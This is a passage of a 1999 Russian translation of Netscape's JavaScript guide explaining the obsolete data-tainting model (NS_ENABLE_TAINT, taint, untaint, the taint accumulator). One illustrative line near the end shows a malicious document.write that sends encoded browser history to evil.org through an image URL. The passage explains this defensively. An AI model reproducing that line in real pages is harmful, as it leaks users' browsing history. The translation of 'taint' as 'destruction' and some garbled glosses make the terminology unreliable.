<TR><TD><P><A NAME="1020960"></a><CODE>location</CODE> и <CODE>Link</CODE></P><TD><P><A NAME="1020962"></a>
<CODE>hash</CODE>, <CODE>host</CODE>, <CODE>hostname</CODE>, <CODE>href</CODE>, <CODE>pathname</CODE>, <CODE>port</CODE>, <CODE>protocol</CODE>, <CODE>search</CODE>, <CODE>toString</CODE></P>
<TR><TD><PRE><A NAME="1020964"></a>Plugin</PRE><TD><P><A NAME="1020966"></a><CODE>name</CODE></P>
<TR><TD><P><A NAME="1020968"></a><CODE>window</CODE></P><TD><P><A NAME="1020970"></a>
<CODE>defaultStatus</CODE>, <CODE>name</CODE>, <CODE>status</CODE></P></TABLE><p><A NAME="1020972"></a>
Вы можете использовать элементы с разрушаемыми данными любым способом в Вашем
скрипте, но, если Ваш скрипт попытается передать значение разрушенного элемента <I>
или любые полученные от него данные </I>по сети любым способом (например, при
отправке формы или через URL), будет выведено диалоговое окно, чтобы пользователь мог подтвердить или отменить операцию.</p>
<p><A NAME="1020973"></a>Значения, полученные от элемента с разрушенными данными, также разрушены. Если
разрушенное значение передаётся функции, return-значение функции разрушается.
Если разрушается строка, любые подстроки строки также разрушаются. Если скрипт
проверяет разрушенное значение в операторах <CODE>if</CODE>, <CODE>for</CODE>
или <CODE>while</CODE>, скрипт сам аккумулирует разрушение.</p><p><A NAME="1020974"></a>
Вы можете включать и отключать разрушение свойств, переменных, функций и
объектов, как описано в разделе <A HREF="#1020996">"Включение и Отключение
Разрушения Отдельных Элементов Данных"</a>. Вы не можете отключить разрушение
свойств или элементов данных другого сервера.</p><H3><A NAME="Head2;"></a><A NAME="1020979"></a>Включение разрушения</H3>
<hr><p><A NAME="1020981"></a>Чтобы включить разрушение данных, конечный пользователь устанавливает переменную
окружения <CODE>NS_ENABLE_TAINT</CODE> таким образом:</p><ul><LI><A NAME="1020982"></a>
В Unix используется команда <CODE>setenv</CODE> в csh.</LI><LI><A NAME="1020983"></a>
В Windows используется <CODE>set</CODE> в файле <CODE>autoexec.bat</CODE> или
установки пользователя NT.</LI><LI><A NAME="1020984"></a>
В Macintosh редактируется источник типа "Envi" номер 128 в приложении Netscape
путём удаления двух ASCII-слэшей "//" перед текстом <CODE>NS_ENABLE_TAINT</CODE> в конце источника.</LI></ul>
<p><A NAME="1020985"></a><CODE>NS_ENABLE_TAINT</CODE> может иметь любое значение; "1" подойдёт.</p><p><A NAME="1020986"></a>
Если конечный пользователь не включил разрушение и скрипт пытается получить
доступ к свойствам окна на другом сервере, будет выведено сообщение, указывающее, что доступ не разрешён.</p>
<p><A NAME="1020987"></a>Чтобы определить, включено разрушение или нет, используйте метод <CODE>taintEnabled</CODE>. Следующий код
выполняет <CODE>function1</CODE>, если разрушение данных/tainting включено; иначе выполняется <CODE>function2</CODE>.</p>
<PRE><A NAME="1020988"></a>if (navigator.taintEnabled()) {<br> function1()<br>}<br>else function2()</PRE>
<p><A NAME="1020994"></a>См. <CODE>taintEnabled</CODE> в книге <I>
<a TARGET="_top" href="../clientref13/index.php">Клиентский JavaScript. </a></I><a href="../clientref13/index.php"><i>Справочник</i></a>.</p>
<H3><A NAME="Head2;"></a><A NAME="1020996"></a>Включение и отключение разрушения отдельных элементов данных</H3>
<hr><p><A NAME="1020998"></a>Вы можете разрушать элементы данных (свойства, переменные, функции, объекты) в
Ваших скриптах для предотвращения возвращения значений, которые могут
использоваться ненадлежащим образом другими скриптами или публиковаться в рамках
другого скрипта. Вам может понадобиться отключить разрушение элементов данных,
чтобы другие скрипты могли работать с ними. Вы не можете отключить разрушение данных элементов данных другого сервера.</p>
<p><A NAME="1020999"></a>Вы управляете разрушением элементов данных с помощью двух функций: <CODE>taint</CODE>
добавляет разрушение данных к элементу, а <CODE>untaint</CODE> отключает
разрушение данных в элементе данных. Каждая из этих функций принимает в качестве аргумента единственный элемент данных.</p><p>
<A NAME="1021000"></a>Например, следующий оператор удаляет разрушение со свойства, чтобы скрипт мог
отправлять его другому серверу:</p><PRE><A NAME="1021001"></a>untaintedStat=untaint(window.defaultStatus)<br>// untaintedStat может теперь высылаться по URL или методом form post других скриптов</PRE>
<p><A NAME="1021003"></a>Ни <CODE>taint</CODE>, ни <CODE>untaint</CODE> не модифицируют свой аргумент;
обе функции возвращают маркированную или немаркированную ссылку на объект <CODE>argument</CODE>
или копию значения примитивного типа (number или boolean). Эта маркировка
называется <I>taint codeкод разрушения.</I> JavaScript присваивает уникальный taint code
каждому элементу данных сервера. Неразрушенные данные имеют код разрушения <I>identity</I> (null).</p></P>
<p><A NAME="1021009"></a>См. <CODE>taint</CODE> и <CODE>untaint</CODE> в книге <I><a TARGET="_top" href="../clientref13/index.php">Клиентский JavaScript. </a></I>
<a href="../clientref13/index.php"><i>Справочник</i></a>.</p><H3><A NAME="Head2;"></a>
<A NAME="1021011"></a>Разрушение как результат выполнения условных операторов</H3><hr><p><A NAME="1021013"></a>
В некоторых случаях информация разрушения обслуживается потоком управления, а не
потоком данных. Для работы с такими ситуациями каждое окно имеет <I>taint accumulatorаккумулятор
разрушения.</I> Аккумулятор разрушения содержит разрушение, проверенное в
условной части операторов <CODE>if</CODE>, <CODE>for</CODE> и <CODE>while</CODE>.
Аккумулятор смешивает различные taint-коды для создания новых кодов, которые
идентифицируют комбинацию источников данных (например, serverA, serverB или serverC).</p><p><A NAME="1021014"></a>
Аккумулятор разрушения восстанавливается, только если содержит оригинальный taint-код
текущего документа. Иначе разрушение накапливается, пока документ не будет
выгружен. Все окна, загружающие документы из одного источника, используют общий аккумулятор разрушения.</p>
<p><A NAME="1021015"></a>Вы можете добавить или убрать разрушение из аккумулятора разрушения окна.</p>
<ul><LI><A NAME="1021016"></a>Для того чтобы добавить разрушение к окну, вызовите <CODE>taint</CODE> без
аргументов. JavaScript добавляет taint-код текущего документа в аккумулятор.</LI><LI><A NAME="1021017"></a>
Для того чтобы удалить разрушение из окна, вызовите <CODE>untaint</CODE> без
аргументов. Вызов <CODE>untaint</CODE> без аргументов удаляет аккумулятор
разрушение из аккумулятора, если аккумулятор содержит разрушение только для
текущего окна; если он содержит также разрушение для элементов данных с других
серверов, <CODE>untaint</CODE> не будет действовать. Удаление разрушения из
аккумулятора приводит к тому, что аккумулятор будет содержать только код identity.</LI></ul><p><A NAME="1021018"></a>
Если аккумулятор разрушения для окна одержит разрушение и скрипт пытается
передать данные по сети, taint-коды в аккумуляторе разрушения проверяются.
Только если аккумулированный скрипт разрушен, а taint-код целевого сервера и taint-код
высылаемых данных совместимы, операция будет продолжена. Совместимость здесь
означает, что два taint-кода либо равны, либо как минимум один из них имеет
значение identity (null). Если скрипт, сервер и разрушения данных несовместимы,
выводится диалоговое окно, чтобы пользователь мог подтвердить или отменить загрузку URL или отправку формы.</p>
<p><A NAME="1021019"></a>Аккумулированное разрушение действует в течение <CODE>setTimeout</CODE> и до
вычисления первого аргумента для <CODE>setTimeout</CODE>. Оно работает в <CODE>document.write</CODE>
в сгенерированных тэгах, так что зловредный скрипт не сможет узнать закрытую
информацию типа истории сессии, генерируя HTML-тэг с неявно загружаемым
параметром <CODE>SRC</CODE> из URL, <CODE>как здесь</CODE>:</p>
<PRE><A NAME="1021021"></a>document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +<br> encode(history) + ">")</PRE>
<h5><a href="contents.php">Оглавление</a> | <a href="advtopic.php">Назад</a>
| <a href="partlc.php">Вперёд</a> | <a href="bklast.php">Индекс</a></h5>
<hr><P ALIGN=right><FONT SIZE=-2><I>Дата последнего обновления: 27 мая 1999 года.</I><br>
</BODY></HTML>
<?
include '../../style/foot.php';
?>